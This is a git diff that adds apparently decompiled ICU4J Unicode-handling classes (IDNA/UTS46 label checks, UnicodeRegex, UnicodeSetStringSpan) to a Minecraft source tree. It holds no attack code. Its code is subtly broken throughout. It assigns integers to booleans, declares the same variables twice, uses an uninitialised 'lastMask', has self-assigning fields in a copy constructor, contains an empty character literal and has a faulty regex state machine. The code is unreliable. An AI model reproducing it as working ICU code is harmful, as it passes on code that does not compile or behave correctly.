+      if (c > 65535)
+      {
+        labelString.deleteCharAt(labelStart + 1);
+        labelLength--;
+        if (labelString == dest) {
+          destLabelLength--;
+        }
+      }
+    }
+    if (!hasCertainLabelErrors(info, severeErrors))
+    {
+
+      if (((options & 0x4) != 0) && ((!isBiDi(info)) || (isOkBiDi(info)))) {
+        checkLabelBiDi(labelString, labelStart, labelLength, info);
+      }
+      if (((options & 0x8) != 0) && ((oredChars & 0x200C) == '‌') && (!isLabelOkContextJ(labelString, labelStart, labelLength)))
+      {
+
+        addLabelError(info, IDNA.Error.CONTEXTJ);
+      }
+      if (((options & 0x40) != 0) && (oredChars >= '·')) {
+        checkLabelContextO(labelString, labelStart, labelLength, info);
+      }
+      if (toASCII) {
+        if (wasPunycode)
+        {
+          if (destLabelLength > 63) {
+            addLabelError(info, IDNA.Error.LABEL_TOO_LONG);
+          }
+          return destLabelLength; }
+        if (oredChars >= '€')
+        {
+          StringBuilder punycode;
+          try {
+            punycode = Punycode.encode(labelString.subSequence(labelStart, labelStart + labelLength), null);
+          } catch (StringPrepParseException e) {
+            throw new RuntimeException(e);
+          }
+          punycode.insert(0, "xn--");
+          if (punycode.length() > 63) {
+            addLabelError(info, IDNA.Error.LABEL_TOO_LONG);
+          }
+          return replaceLabel(dest, destLabelStart, destLabelLength, punycode, punycode.length());
+        }
+        
+
+        if (labelLength > 63) {
+          addLabelError(info, IDNA.Error.LABEL_TOO_LONG);
+        }
+        
+      }
+      
+
+    }
+    else if (wasPunycode) {
+      addLabelError(info, IDNA.Error.INVALID_ACE_LABEL);
+      return markBadACELabel(dest, destLabelStart, destLabelLength, toASCII, info);
+    }
+    
+    return replaceLabel(dest, destLabelStart, destLabelLength, labelString, labelLength);
+  }
+  
+
+  private int markBadACELabel(StringBuilder dest, int labelStart, int labelLength, boolean toASCII, IDNA.Info info)
+  {
+    boolean disallowNonLDHDot = (options & 0x2) != 0;
+    boolean isASCII = true;
+    boolean onlyLDH = true;
+    int i = labelStart + 4;
+    int limit = labelStart + labelLength;
+    do {
+      char c = dest.charAt(i);
+      if (c <= '') {
+        if (c == '.') {
+          addLabelError(info, IDNA.Error.LABEL_HAS_DOT);
+          dest.setCharAt(i, 65533);
+          isASCII = onlyLDH = 0;
+        } else if (asciiData[c] < 0) {
+          onlyLDH = false;
+          if (disallowNonLDHDot) {
+            dest.setCharAt(i, 65533);
+            isASCII = false;
+          }
+        }
+      } else {
+        isASCII = onlyLDH = 0;
+      }
+      i++; } while (i < limit);
+    if (onlyLDH) {
+      dest.insert(labelStart + labelLength, 65533);
+      labelLength++;
+    }
+    else if ((toASCII) && (isASCII) && (labelLength > 63)) {
+      addLabelError(info, IDNA.Error.LABEL_TOO_LONG);
+    }
+    
+    return labelLength;
+  }
+  
+  private static final int L_MASK = U_MASK(0);
+  private static final int R_AL_MASK = U_MASK(1) | U_MASK(13);
+  
+
+  private static final int L_R_AL_MASK = L_MASK | R_AL_MASK;
+  
+  private static final int R_AL_AN_MASK = R_AL_MASK | U_MASK(5);
+  
+  private static final int EN_AN_MASK = U_MASK(2) | U_MASK(5);
+  
+
+  private static final int R_AL_EN_AN_MASK = R_AL_MASK | EN_AN_MASK;
+  private static final int L_EN_MASK = L_MASK | U_MASK(2);
+  
+  private static final int ES_CS_ET_ON_BN_NSM_MASK = U_MASK(3) | U_MASK(6) | U_MASK(4) | U_MASK(10) | U_MASK(18) | U_MASK(17);
+  
+
+
+
+
+
+  private static final int L_EN_ES_CS_ET_ON_BN_NSM_MASK = L_EN_MASK | ES_CS_ET_ON_BN_NSM_MASK;
+  private static final int R_AL_AN_EN_ES_CS_ET_ON_BN_NSM_MASK = R_AL_MASK | EN_AN_MASK | ES_CS_ET_ON_BN_NSM_MASK;
+  
+
+
+
+
+
+
+
+
+  private void checkLabelBiDi(CharSequence label, int labelStart, int labelLength, IDNA.Info info)
+  {
+    int i = labelStart;
+    int c = Character.codePointAt(label, i);
+    i += Character.charCount(c);
+    int firstMask = U_MASK(UBiDiProps.INSTANCE.getClass(c));
+    
+
+
+    if ((firstMask & (L_R_AL_MASK ^ 0xFFFFFFFF)) != 0) {
+      setNotOkBiDi(info);
+    }
+    
+
+    int labelLimit = labelStart + labelLength;
+    for (;;) {
+      if (i >= labelLimit) {
+        int lastMask = firstMask;
+        break;
+      }
+      c = Character.codePointBefore(label, labelLimit);
+      labelLimit -= Character.charCount(c);
+      int dir = UBiDiProps.INSTANCE.getClass(c);
+      if (dir != 17) {
+        int lastMask = U_MASK(dir);
+        break;
+      }
+    }
+    
+
+
+    int lastMask;
+    
+
+    if ((firstMask & L_MASK) != 0 ? (lastMask & (L_EN_MASK ^ 0xFFFFFFFF)) != 0 : (lastMask & (R_AL_EN_AN_MASK ^ 0xFFFFFFFF)) != 0)
+    {
+
+
+      setNotOkBiDi(info);
+    }
+    
+    int mask = 0;
+    while (i < labelLimit) {
+      c = Character.codePointAt(label, i);
+      i += Character.charCount(c);
+      mask |= U_MASK(UBiDiProps.INSTANCE.getClass(c));
+    }
+    if ((firstMask & L_MASK) != 0)
+    {
+
+      if ((mask & (L_EN_ES_CS_ET_ON_BN_NSM_MASK ^ 0xFFFFFFFF)) != 0) {
+        setNotOkBiDi(info);
+      }
+    }
+    else
+    {
+      if ((mask & (R_AL_AN_EN_ES_CS_ET_ON_BN_NSM_MASK ^ 0xFFFFFFFF)) != 0) {
+        setNotOkBiDi(info);
+      }
+      
+
+      if ((mask & EN_AN_MASK) == EN_AN_MASK) {
+        setNotOkBiDi(info);
+      }
+    }
+    
+
+
+
+
+
+    if (((firstMask | mask | lastMask) & R_AL_AN_MASK) != 0) {
+      setBiDi(info);
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private static boolean isASCIIOkBiDi(CharSequence s, int length)
+  {
+    int labelStart = 0;
+    for (int i = 0; i < length; i++) {
+      char c = s.charAt(i);
+      if (c == '.') {
+        if (i > labelStart) {
+          c = s.charAt(i - 1);
+          if ((('a' > c) || (c > 'z')) && (('0' > c) || (c > '9')))
+          {
+            return false;
+          }
+        }
+        labelStart = i + 1;
+      } else if (i == labelStart) {
+        if (('a' > c) || (c > 'z'))
+        {
+          return false;
+        }
+      }
+      else if ((c <= ' ') && ((c >= '\034') || (('\t' <= c) && (c <= '\r'))))
+      {
+        return false;
+      }
+    }
+    
+    return true;
+  }
+  
+
+
+  private boolean isLabelOkContextJ(CharSequence label, int labelStart, int labelLength)
+  {
+    int labelLimit = labelStart + labelLength;
+    for (int i = labelStart; i < labelLimit; i++) {
+      if (label.charAt(i) == '‌')
+      {
+
+
+
+
+
+        if (i == labelStart) {
+          return false;
+        }
+        
+        int j = i;
+        int c = Character.codePointBefore(label, j);
+        j -= Character.charCount(c);
+        if (uts46Norm2.getCombiningClass(c) != 9)
+        {
+
+          for (;;)
+          {
+            int type = UBiDiProps.INSTANCE.getJoiningType(c);
+            if (type == 5) {
+              if (j == 0) {
+                return false;
+              }
+              c = Character.codePointBefore(label, j);
+              j -= Character.charCount(c);
+            } else { if ((type == 3) || (type == 2)) {
+                break;
+              }
+              return false;
+            }
+          }
+          
+          j = i + 1;
+          for (;;) { if (j == labelLimit) {
+              return false;
+            }
+            c = Character.codePointAt(label, j);
+            j += Character.charCount(c);
+            int type = UBiDiProps.INSTANCE.getJoiningType(c);
+            if (type != 5)
+            {
+              if ((type == 4) || (type == 2)) {
+                break;
+              }
+              return false;
+            }
+          }
+        } } else if (label.charAt(i) == '‍')
+      {
+
+
+
+        if (i == labelStart) {
+          return false;
+        }
+        int c = Character.codePointBefore(label, i);
+        if (uts46Norm2.getCombiningClass(c) != 9) {
+          return false;
+        }
+      }
+    }
+    return true;
+  }
+  
+  private void checkLabelContextO(CharSequence label, int labelStart, int labelLength, IDNA.Info info)
+  {
+    int labelEnd = labelStart + labelLength - 1;
+    int arabicDigits = 0;
+    for (int i = labelStart; i <= labelEnd; i++) {
+      int c = label.charAt(i);
+      if (c >= 183)
+      {
+        if (c <= 1785) {
+          if (c == 183)
+          {
+
+
+
+
+            if ((labelStart >= i) || (label.charAt(i - 1) != 'l') || (i >= labelEnd) || (label.charAt(i + 1) != 'l'))
+            {
+              addLabelError(info, IDNA.Error.CONTEXTO_PUNCTUATION);
+            }
+          } else if (c == 885)
+          {
+
+
+
+            if ((i >= labelEnd) || (14 != UScript.getScript(Character.codePointAt(label, i + 1))))
+            {
+              addLabelError(info, IDNA.Error.CONTEXTO_PUNCTUATION);
+            }
+          } else if ((c == 1523) || (c == 1524))
+          {
+
+
+
+
+
+
+
+
+            if ((labelStart >= i) || (19 != UScript.getScript(Character.codePointBefore(label, i))))
+            {
+              addLabelError(info, IDNA.Error.CONTEXTO_PUNCTUATION);
+            }
+          } else if (1632 <= c)
+          {
+
+
+
+
+
+
+
+
+
+
+
+
+            if (c <= 1641) {
+              if (arabicDigits > 0) {
+                addLabelError(info, IDNA.Error.CONTEXTO_DIGITS);
+              }
+              arabicDigits = -1;
+            } else if (1776 <= c) {
+              if (arabicDigits < 0) {
+                addLabelError(info, IDNA.Error.CONTEXTO_DIGITS);
+              }
+              arabicDigits = 1;
+            }
+          }
+        } else if (c == 12539)
+        {
+
+
+
+
+
+          for (int j = labelStart;; j += Character.charCount(c)) {
+            if (j > labelEnd) {
+              addLabelError(info, IDNA.Error.CONTEXTO_PUNCTUATION);
+            }
+            else {
+              c = Character.codePointAt(label, j);
+              int script = UScript.getScript(c);
+              if ((script == 20) || (script == 22) || (script == 17))
+                break;
+            }
+          }
+        }
+      }
+    }
+  }
+  
+  private static int U_MASK(int x) {
+    return 1 << x;
+  }
+  
+  private static int U_GET_GC_MASK(int c) { return 1 << UCharacter.getType(c); }
+  
+  private static int U_GC_M_MASK = U_MASK(6) | U_MASK(7) | U_MASK(8);
+}
diff --git a/src/minecraft/com/ibm/icu/impl/UnicodeRegex.java b/src/minecraft/com/ibm/icu/impl/UnicodeRegex.java
new file mode 100644
index 0000000..0424f88
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/impl/UnicodeRegex.java
@@ -0,0 +1,409 @@
+package com.ibm.icu.impl;
+
+import com.ibm.icu.text.StringTransform;
+import com.ibm.icu.text.SymbolTable;
+import com.ibm.icu.text.UnicodeSet;
+import com.ibm.icu.util.Freezable;
+import java.io.BufferedReader;
+import java.io.FileInputStream;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.InputStreamReader;
+import java.io.UnsupportedEncodingException;
+import java.text.ParsePosition;
+import java.util.Arrays;
+import java.util.Comparator;
+import java.util.Iterator;
+import java.util.LinkedHashSet;
+import java.util.List;
+import java.util.Map;
+import java.util.Map.Entry;
+import java.util.Set;
+import java.util.TreeMap;
+import java.util.regex.Pattern;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class UnicodeRegex
+  implements Cloneable, Freezable<UnicodeRegex>, StringTransform
+{
+  private SymbolTable symbolTable;
+  
+  public UnicodeRegex() {}
+  
+  public SymbolTable getSymbolTable()
+  {
+    return symbolTable;
+  }
+  
+
+
+
+  public UnicodeRegex setSymbolTable(SymbolTable symbolTable)
+  {
+    this.symbolTable = symbolTable;
+    return this;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public String transform(String regex)
+  {
+    StringBuilder result = new StringBuilder();
+    UnicodeSet temp = new UnicodeSet();
+    ParsePosition pos = new ParsePosition(0);
+    int state = 0;
+    
+
+
+
+
+    for (int i = 0; i < regex.length(); i++)
+    {
+      char ch = regex.charAt(i);
+      switch (state) {
+      case 0: 
+        if (ch == '\\') {
+          if (UnicodeSet.resemblesPattern(regex, i))
+          {
+            i = processSet(regex, i, result, temp, pos);
+            continue;
+          }
+          state = 1;
+        } else if (ch == '[')
+        {
+          if (UnicodeSet.resemblesPattern(regex, i))
+            i = processSet(regex, i, result, temp, pos); }
+        break;
+      
+
+
+
+      case 1: 
+        if (ch == 'Q') {
+          state = 1;
+        } else {
+          state = 0;
+        }
+        break;
+      
+      case 2: 
+        if (ch == '\\') {
+          state = 3;
+        }
+        
+        break;
+      case 3: 
+        if (ch == 'E') {
+          state = 0;
+        }
+        state = 2;
+      }
+      
+      result.append(ch);
+    }
+    return result.toString();
+  }
+  
+
+
+
+
+  public static String fix(String regex)
+  {
+    return STANDARD.transform(regex);
+  }
+  
+
+
+
+
+
+  public static Pattern compile(String regex)
+  {
+    return Pattern.compile(STANDARD.transform(regex));
+  }
+  
+
+
+
+
+
+  public static Pattern compile(String regex, int options)
+  {
+    return Pattern.compile(STANDARD.transform(regex), options);
+  }
+  
+
+
+
+
+
+  public String compileBnf(String bnfLines)
+  {
+    return compileBnf(Arrays.asList(bnfLines.split("\\r\\n?|\\n")));
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public String compileBnf(List<String> lines)
+  {
+    Map<String, String> variables = getVariables(lines);
+    Set<String> unused = new LinkedHashSet(variables.keySet());
+    String variable;
+    String definition;
+    for (int i = 0; i < 2; i++) {
+      for (Map.Entry<String, String> entry : variables.entrySet()) {
+        variable = (String)entry.getKey();
+        definition = (String)entry.getValue();
+        
+        for (Map.Entry<String, String> entry2 : variables.entrySet()) {
+          String variable2 = (String)entry2.getKey();
+          String definition2 = (String)entry2.getValue();
+          if (!variable.equals(variable2))
+          {
+
+            String altered2 = definition2.replace(variable, definition);
+            if (!altered2.equals(definition2)) {
+              unused.remove(variable);
+              variables.put(variable2, altered2);
+              if (log != null)
+                try {
+                  log.append(variable2 + "=" + altered2 + ";");
+                } catch (IOException e) {
+                  throw ((IllegalArgumentException)new IllegalArgumentException().initCause(e));
+                }
+            }
+          }
+        }
+      }
+    }
+    if (unused.size() != 1) {
+      throw new IllegalArgumentException("Not a single root: " + unused);
+    }
+    return (String)variables.get(unused.iterator().next());
+  }
+  
+  public String getBnfCommentString() {
+    return bnfCommentString;
+  }
+  
+  public void setBnfCommentString(String bnfCommentString) {
+    this.bnfCommentString = bnfCommentString;
+  }
+  
+  public String getBnfVariableInfix() {
+    return bnfVariableInfix;
+  }
+  
+  public void setBnfVariableInfix(String bnfVariableInfix) {
+    this.bnfVariableInfix = bnfVariableInfix;
+  }
+  
+  public String getBnfLineSeparator() {
+    return bnfLineSeparator;
+  }
+  
+  public void setBnfLineSeparator(String bnfLineSeparator) {
+    this.bnfLineSeparator = bnfLineSeparator;
+  }
+  
+
+
+
+
+
+
+  public static List<String> appendLines(List<String> result, String file, String encoding)
+    throws IOException
+  {
+    return appendLines(result, new FileInputStream(file), encoding);
+  }
+  
+
+
+
+
+
+
+
+  public static List<String> appendLines(List<String> result, InputStream inputStream, String encoding)
+    throws UnsupportedEncodingException, IOException
+  {
+    BufferedReader in = new BufferedReader(new InputStreamReader(inputStream, encoding == null ? "UTF-8" : encoding));
+    for (;;) {
+      String line = in.readLine();
+      if (line == null) break;
+      result.add(line);
+    }
+    return result;
+  }
+  
+
+
+
+
+  public UnicodeRegex cloneAsThawed()
+  {
+    try
+    {
+      return (UnicodeRegex)clone();
+    } catch (CloneNotSupportedException e) {
+      throw new IllegalArgumentException();
+    }
+  }
+  
+
+
+
+  public UnicodeRegex freeze()
+  {
+    return this;
+  }
+  
+
+
+
+  public boolean isFrozen()
+  {
+    return true;
+  }
+  
+  private int processSet(String regex, int i, StringBuilder result, UnicodeSet temp, ParsePosition pos)
+  {
+    try
+    {
+      pos.setIndex(i);
+      UnicodeSet x = temp.clear().applyPattern(regex, pos, symbolTable, 0);
+      x.complement().complement();
+      result.append(x.toPattern(false));
+      return pos.getIndex() - 1;
+    }
+    catch (Exception e) {
+      throw ((IllegalArgumentException)new IllegalArgumentException("Error in " + regex).initCause(e));
+    }
+  }
+  
+  private static UnicodeRegex STANDARD = new UnicodeRegex();
+  private String bnfCommentString = "#";
+  private String bnfVariableInfix = "=";
+  private String bnfLineSeparator = "\n";
+  private Appendable log = null;
+  
+  private Comparator<Object> LongestFirst = new Comparator() {
+    public int compare(Object obj0, Object obj1) {
+      String arg0 = obj0.toString();
+      String arg1 = obj1.toString();
+      int len0 = arg0.length();
+      int len1 = arg1.length();
+      if (len0 != len1) return len1 - len0;
+      return arg0.compareTo(arg1);
+    }
+  };
+  
+  private Map<String, String> getVariables(List<String> lines) {
+    Map<String, String> variables = new TreeMap(LongestFirst);
+    String variable = null;
+    StringBuffer definition = new StringBuffer();
+    int count = 0;
+    for (String line : lines) {
+      count++;
+      
+      if (line.length() != 0) {
+        if (line.charAt(0) == 65279) { line = line.substring(1);
+        }
+        if (bnfCommentString != null) {
+          int hashPos = line.indexOf(bnfCommentString);
+          if (hashPos >= 0) line = line.substring(0, hashPos);
+        }
+        String trimline = line.trim();
+        if (trimline.length() != 0)
+        {
+
+          String linePart = line;
+          if (linePart.trim().length() != 0) {
+            boolean terminated = trimline.endsWith(";");
+            if (terminated) {
+              linePart = linePart.substring(0, linePart.lastIndexOf(';'));
+            }
+            int equalsPos = linePart.indexOf(bnfVariableInfix);
+            if (equalsPos >= 0) {
+              if (variable != null) {
+                throw new IllegalArgumentException("Missing ';' before " + count + ") " + line);
+              }
+              variable = linePart.substring(0, equalsPos).trim();
+              if (variables.containsKey(variable)) {
+                throw new IllegalArgumentException("Duplicate variable definition in " + line);
+              }
+              definition.append(linePart.substring(equalsPos + 1).trim());
+            } else {
+              if (variable == null) {
+                throw new IllegalArgumentException("Missing '=' at " + count + ") " + line);
+              }
+              definition.append(bnfLineSeparator).append(linePart);
+            }
+            
+            if (terminated) {
+              variables.put(variable, definition.toString());
+              variable = null;
+              definition.setLength(0);
+            }
+          } } } }
+    if (variable != null) {
+      throw new IllegalArgumentException("Missing ';' at end");
+    }
+    return variables;
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/impl/UnicodeSetStringSpan.java b/src/minecraft/com/ibm/icu/impl/UnicodeSetStringSpan.java
new file mode 100644
index 0000000..504a8f6
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/impl/UnicodeSetStringSpan.java
@@ -0,0 +1,930 @@
+package com.ibm.icu.impl;
+
+import com.ibm.icu.text.UTF16;
+import com.ibm.icu.text.UnicodeSet;
+import com.ibm.icu.text.UnicodeSet.SpanCondition;
+import java.util.ArrayList;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class UnicodeSetStringSpan
+{
+  public static final int FWD = 32;
+  public static final int BACK = 16;
+  public static final int UTF16 = 8;
+  public static final int CONTAINED = 2;
+  public static final int NOT_CONTAINED = 1;
+  public static final int ALL = 63;
+  public static final int FWD_UTF16_CONTAINED = 42;
+  public static final int FWD_UTF16_NOT_CONTAINED = 41;
+  public static final int BACK_UTF16_CONTAINED = 26;
+  public static final int BACK_UTF16_NOT_CONTAINED = 25;
+  static final short ALL_CP_CONTAINED = 255;
+  static final short LONG_SPAN = 254;
+  private UnicodeSet spanSet;
+  private UnicodeSet spanNotSet;
+  private ArrayList<String> strings;
+  private short[] spanLengths;
+  private int maxLength16;
+  private boolean all;
+  private OffsetList offsets;
+  
+  public UnicodeSetStringSpan(UnicodeSet set, ArrayList<String> setStrings, int which)
+  {
+    spanSet = new UnicodeSet(0, 1114111);
+    strings = setStrings;
+    all = (which == 63);
+    spanSet.retainAll(set);
+    if (0 != (which & 0x1))
+    {
+
+      spanNotSet = spanSet;
+    }
+    offsets = new OffsetList();
+    
+
+
+
+
+
+
+
+    int stringsLength = strings.size();
+    
+
+    boolean someRelevant = false;
+    for (int i = 0; i < stringsLength; i++) {
+      String string = (String)strings.get(i);
+      int length16 = string.length();
+      int spanLength = spanSet.span(string, UnicodeSet.SpanCondition.CONTAINED);
+      if (spanLength < length16) {
+        someRelevant = true;
+      }
+      if ((0 != (which & 0x8)) && (length16 > maxLength16)) {
+        maxLength16 = length16;
+      }
+    }
+    if (!someRelevant) {
+      maxLength16 = 0;
+      return;
+    }
+    
+
+
+    if (all) {
+      spanSet.freeze();
+    }
+    
+    int allocSize;
+    
+    int allocSize;
+    
+    if (all)
+    {
+      allocSize = stringsLength * 2;
+    } else {
+      allocSize = stringsLength;
+    }
+    spanLengths = new short[allocSize];
+    int spanBackLengthsOffset;
+    int spanBackLengthsOffset; if (all)
+    {
+      spanBackLengthsOffset = stringsLength;
+    }
+    else {
+      spanBackLengthsOffset = 0;
+    }
+    
+
+
+    for (i = 0; i < stringsLength; i++) {
+      String string = (String)strings.get(i);
+      int length16 = string.length();
+      int spanLength = spanSet.span(string, UnicodeSet.SpanCondition.CONTAINED);
+      if (spanLength < length16) {
+        if (0 != (which & 0x8)) {
+          if (0 != (which & 0x2)) {
+            if (0 != (which & 0x20)) {
+              spanLengths[i] = makeSpanLengthByte(spanLength);
+            }
+            if (0 != (which & 0x10)) {
+              spanLength = length16 - spanSet.spanBack(string, length16, UnicodeSet.SpanCondition.CONTAINED);
+              
+              spanLengths[(spanBackLengthsOffset + i)] = makeSpanLengthByte(spanLength);
+            }
+          } else {
+            int tmp388_387 = 0;spanLengths[(spanBackLengthsOffset + i)] = tmp388_387;spanLengths[i] = tmp388_387;
+          }
+        }
+        
+        if (0 != (which & 0x1))
+        {
+
+
+          if (0 != (which & 0x20)) {
+            int c = string.codePointAt(0);
+            addToSpanNotSet(c);
+          }
+          if (0 != (which & 0x10)) {
+            int c = string.codePointBefore(length16);
+            addToSpanNotSet(c);
+          }
+        }
+      }
+      else if (all) {
+        spanLengths[(spanBackLengthsOffset + i)] = 'ÿ';spanLengths[i] = 'ÿ';
+      }
+      else {
+        spanLengths[i] = 255;
+      }
+    }
+    
+
+
+    if (all) {
+      spanNotSet.freeze();
+    }
+  }
+  
+
+
+
+  public UnicodeSetStringSpan(UnicodeSetStringSpan otherStringSpan, ArrayList<String> newParentSetStrings)
+  {
+    spanSet = spanSet;
+    strings = newParentSetStrings;
+    maxLength16 = maxLength16;
+    all = true;
+    if (spanNotSet == spanSet) {
+      spanNotSet = spanSet;
+    } else {
+      spanNotSet = ((UnicodeSet)spanNotSet.clone());
+    }
+    offsets = new OffsetList();
+    
+    spanLengths = ((short[])spanLengths.clone());
+  }
+  
+
+
+
+
+  public boolean needsStringSpanUTF16()
+  {
+    return maxLength16 != 0;
+  }
+  
+  public boolean contains(int c)
+  {
+    return spanSet.contains(c);
+  }
+  
+
+  private void addToSpanNotSet(int c)
+  {
+    if ((spanNotSet == null) || (spanNotSet == spanSet)) {
+      if (spanSet.contains(c)) {
+        return;
+      }
+      spanNotSet = spanSet.cloneAsThawed();
+    }
+    spanNotSet.add(c);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public synchronized int span(CharSequence s, int start, int length, UnicodeSet.SpanCondition spanCondition)
+  {
+    if (spanCondition == UnicodeSet.SpanCondition.NOT_CONTAINED) {
+      return spanNot(s, start, length);
+    }
+    int spanLength = spanSet.span(s.subSequence(start, start + length), UnicodeSet.SpanCondition.CONTAINED);
+    if (spanLength == length) {
+      return length;
+    }
+    
+
+    int initSize = 0;
+    if (spanCondition == UnicodeSet.SpanCondition.CONTAINED)
+    {
+      initSize = maxLength16;
+    }
+    offsets.setMaxLength(initSize);
+    int pos = start + spanLength;int rest = length - spanLength;
+    int stringsLength = strings.size();
+    for (;;) {
+      if (spanCondition == UnicodeSet.SpanCondition.CONTAINED)
+        for (int i = 0; i < stringsLength; i++) {
+          int overlap = spanLengths[i];
+          if (overlap != 255)
+          {
+
+            String string = (String)strings.get(i);
+            
+            int length16 = string.length();
+            
+
+            if (overlap >= 254) {
+              overlap = length16;
+              
+              overlap = string.offsetByCodePoints(overlap, -1);
+            }
+            
+            if (overlap > spanLength) {
+              overlap = spanLength;
+            }
+            int inc = length16 - overlap;
+            
+            while (inc <= rest)
+            {
+
+
+              if ((!offsets.containsOffset(inc)) && (matches16CPB(s, pos - overlap, length, string, length16))) {
+                if (inc == rest) {
+                  return length;
+                }
+                offsets.addOffset(inc);
+              }
+              if (overlap == 0) {
+                break;
+              }
+              overlap--;
+              inc++;
+            }
+          }
+        }
+      int maxInc = 0;int maxOverlap = 0;
+      for (int i = 0; i < stringsLength; i++) {
+        int overlap = spanLengths[i];
+        
+
+
+        String string = (String)strings.get(i);
+        
+        int length16 = string.length();
+        
+
+        if (overlap >= 254) {
+          overlap = length16;
+        }
+        
+
+        if (overlap > spanLength) {
+          overlap = spanLength;
+        }
+        int inc = length16 - overlap;
+        
+        while ((inc <= rest) && (overlap >= maxOverlap))
+        {
+
+
+          if (((overlap > maxOverlap) || (inc > maxInc)) && (matches16CPB(s, pos - overlap, length, string, length16)))
+          {
+            maxInc = inc;
+            maxOverlap = overlap;
+            break;
+          }
+          overlap--;
+          inc++;
+        }
+      }
+      
+      if ((maxInc != 0) || (maxOverlap != 0))
+      {
+
+        pos += maxInc;
+        rest -= maxInc;
+        if (rest == 0) {
+          return length;
+        }
+        spanLength = 0;
+
+      }
+      else
+      {
+
+        if ((spanLength != 0) || (pos == 0))
+        {
+
+
+
+
+          if (offsets.isEmpty()) {
+            return pos - start;
+          }
+        }
+        else
+        {
+          if (offsets.isEmpty())
+          {
+
+            spanLength = spanSet.span(s.subSequence(pos, pos + rest), UnicodeSet.SpanCondition.CONTAINED);
+            if ((spanLength == rest) || (spanLength == 0))
+            {
+
+              return pos + spanLength - start;
+            }
+            pos += spanLength;
+            rest -= spanLength;
+            continue;
+          }
+          
+
+
+          spanLength = spanOne(spanSet, s, pos, rest);
+          if (spanLength > 0) {
+            if (spanLength == rest) {
+              return length;
+            }
+            
+
+
+            pos += spanLength;
+            rest -= spanLength;
+            offsets.shift(spanLength);
+            spanLength = 0;
+            continue;
+          }
+        }
+        
+
+        int minOffset = offsets.popMinimum();
+        pos += minOffset;
+        rest -= minOffset;
+        spanLength = 0;
+      }
+    }
+  }
+  
+
+
+
+
+
+  public synchronized int spanBack(CharSequence s, int length, UnicodeSet.SpanCondition spanCondition)
+  {
+    if (spanCondition == UnicodeSet.SpanCondition.NOT_CONTAINED) {
+      return spanNotBack(s, length);
+    }
+    int pos = spanSet.spanBack(s, length, UnicodeSet.SpanCondition.CONTAINED);
+    if (pos == 0) {
+      return 0;
+    }
+    int spanLength = length - pos;
+    
+
+    int initSize = 0;
+    if (spanCondition == UnicodeSet.SpanCondition.CONTAINED)
+    {
+      initSize = maxLength16;
+    }
+    offsets.setMaxLength(initSize);
+    int stringsLength = strings.size();
+    int spanBackLengthsOffset = 0;
+    if (all) {
+      spanBackLengthsOffset = stringsLength;
+    }
+    for (;;) {
+      if (spanCondition == UnicodeSet.SpanCondition.CONTAINED)
+        for (int i = 0; i < stringsLength; i++) {
+          int overlap = spanLengths[(spanBackLengthsOffset + i)];
+          if (overlap != 255)
+          {
+
+            String string = (String)strings.get(i);
+            
+            int length16 = string.length();
+            
+
+            if (overlap >= 254) {
+              overlap = length16;
+              
+              int len1 = 0;
+              len1 = string.offsetByCodePoints(0, 1);
+              overlap -= len1;
+            }
+            if (overlap > spanLength) {
+              overlap = spanLength;
+            }
+            int dec = length16 - overlap;
+            
+            while (dec <= pos)
+            {
+
+
+              if ((!offsets.containsOffset(dec)) && (matches16CPB(s, pos - dec, length, string, length16))) {
+                if (dec == pos) {
+                  return 0;
+                }
+                offsets.addOffset(dec);
+              }
+              if (overlap == 0) {
+                break;
+              }
+              overlap--;
+              dec++;
+            }
+          }
+        }
+      int maxDec = 0;int maxOverlap = 0;
+      for (int i = 0; i < stringsLength; i++) {
+        int overlap = spanLengths[(spanBackLengthsOffset + i)];
+        
+
+
+        String string = (String)strings.get(i);
+        
+        int length16 = string.length();
+        
+
+        if (overlap >= 254) {
+          overlap = length16;
+        }
+        
+
+        if (overlap > spanLength) {
+          overlap = spanLength;
+        }
+        int dec = length16 - overlap;
+        
+        while ((dec <= pos) && (overlap >= maxOverlap))
+        {
+
+
+          if (((overlap > maxOverlap) || (dec > maxDec)) && (matches16CPB(s, pos - dec, length, string, length16)))
+          {
+            maxDec = dec;
+            maxOverlap = overlap;
+            break;
+          }
+          overlap--;
+          dec++;
+        }
+      }
+      
+      if ((maxDec != 0) || (maxOverlap != 0))
+      {
+
+        pos -= maxDec;
+        if (pos == 0) {
+          return 0;
+        }
+        spanLength = 0;
+
+      }
+      else
+      {
+
+        if ((spanLength != 0) || (pos == length))
+        {
+
+
+
+
+          if (offsets.isEmpty()) {
+            return pos;
+          }
+        }
+        else
+        {
+          if (offsets.isEmpty())
+          {
+
+            int oldPos = pos;
+            pos = spanSet.spanBack(s, oldPos, UnicodeSet.SpanCondition.CONTAINED);
+            spanLength = oldPos - pos;
+            if ((pos != 0) && (spanLength != 0)) {
+              continue;
+            }
+            return pos;
+          }
+          
+
+
+
+
+          spanLength = spanOneBack(spanSet, s, pos);
+          if (spanLength > 0) {
+            if (spanLength == pos) {
+              return 0;
+            }
+            
+
+
+            pos -= spanLength;
+            offsets.shift(spanLength);
+            spanLength = 0;
+            continue;
+          }
+        }
+        
+
+        pos -= offsets.popMinimum();
+        spanLength = 0;
+      }
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private int spanNot(CharSequence s, int start, int length)
+  {
+    int pos = start;int rest = length;
+    int stringsLength = strings.size();
+    
+    do
+    {
+      int i = spanNotSet.span(s.subSequence(pos, pos + rest), UnicodeSet.SpanCondition.NOT_CONTAINED);
+      if (i == rest) {
+        return length;
+      }
+      pos += i;
+      rest -= i;
+      
+
+
